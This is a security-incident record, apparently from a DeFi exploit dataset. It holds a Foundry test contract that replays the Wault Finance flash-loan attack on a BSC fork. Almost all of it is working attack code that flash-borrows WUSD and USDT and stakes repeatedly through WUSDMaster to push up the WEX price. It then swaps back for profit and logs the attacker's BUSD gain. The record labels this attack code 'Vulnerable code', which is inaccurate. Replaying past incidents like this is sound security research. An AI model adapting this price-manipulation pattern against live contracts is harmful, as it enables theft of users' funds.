HIGH severity: WaultFinance exploit (unknown). SPDX-License-Identifier: UNLICENSED Analysis https://medium.com/@Knownsec_Blockchain_Lab/wault-finance-flash-loan-security-incident-analysis-368a2e1ebb5b https://inspexco.medium.com/wault-finance-incident-analysis-wex-price-manipulation-using-wusdmaster-contract-c344be3ed376 tx https://bscscan.com/t

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Analysis
// https://medium.com/@Knownsec_Blockchain_Lab/wault-finance-flash-loan-security-incident-analysis-368a2e1ebb5b
// https://inspexco.medium.com/wault-finance-incident-analysis-wex-price-manipulation-using-wusdmaster-contract-c344be3ed376
// tx
// https://bscscan.com/tx/0x31262f15a5b82999bf8d9d0f7e58dcb1656108e6031a2797b612216a95e1670e
interface WUSDMASTER {
    function stake(
        uint256
    ) external;
    function redeem(
        uint256
    ) external;
    function maxStakeAmount() external;
}

contract ContractTest is Test {
    IERC20 WUSD = IERC20(0x3fF997eAeA488A082fb7Efc8e6B9951990D0c3aB);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WEX = IERC20(0xa9c41A46a6B3531d28d5c32F6633dd2fF05dFB90);
    Uni_Pair_V2 Pair1 = Uni_Pair_V2(0x6102D8A7C963F78D46a35a6218B0DB4845d1612F); // WUSD BUSD
    Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // WBNB USDT
    Uni_Router_V2 Router = Uni_Router_V2(0xD48745E39BbED146eEC15b79cBF964884F9877c2); // WS router
    WUSDMASTER Master = WUSDMASTER(0xa79Fe386B88FBee6e492EEb76Ec48517d1eC759a);
    uint256 Pair1Amount;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 9_728_755);
    }

    function testExploit() public {
        // borrow WUSD
        Pair1Amount = WUSD.balanceOf(address(Pair1)) - 1;
        Pair1.swap(Pair1Amount, 0, address(this), new bytes(1));

        // WUSD to BUSD
        WUSD.approve(address(Router), type(uint256).max);
        WUSDToBUSD();

        emit log_named_decimal_uint("Attacker BUSD profit after exploit", BUSD.balanceOf(address(this)), 18);
    }

    function waultSwapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        WUSD.approve(address(Master), type(uint256).max);
        // WUSD to USDT, WEX
        Master.redeem(WUSD.balanceOf(address(this)));
        Pair2.swap(40_000_000 * 1e18, 0, address(this), new bytes(1));
        WUSD.transfer(address(Pair1), Pair1Amount * 10_000 / 9975 + 1000);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        USDT.approve(address(Master), type(uint256).max);
        USDT.approve(address(Router), type(uint256).max);
        // USDT to WEX
        USDTToWEX();
        // stake to change Pair
        uint256 stakeAmout = 250_000 * 1e18;
        // Master.maxmaxStakeAmount();
        for (uint256 i = 0; i < 68; i++) {
            Master.stake(stakeAmout);
        }
        // WEX to USDT
        WEX.approve(address(Router), type(uint256).max);
        WEXToUSDT();
        USDT.transfer(address(Pair2), 40_121_000 * 1e18);
    }

    function USDTToWEX() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(WEX);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            23_000_000 * 1e18, 0, path, address(this), block.timestamp
        );
    }

    function WEXToUSDT() internal {
        address[] memory path = new address[](2);
        path[0] = address(WEX);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WEX.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    function WUSDToBUSD() internal {
        address[] memory path = new address[](2);
        path[0] = address(WUSD);
        path[1] = address(BUSD);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown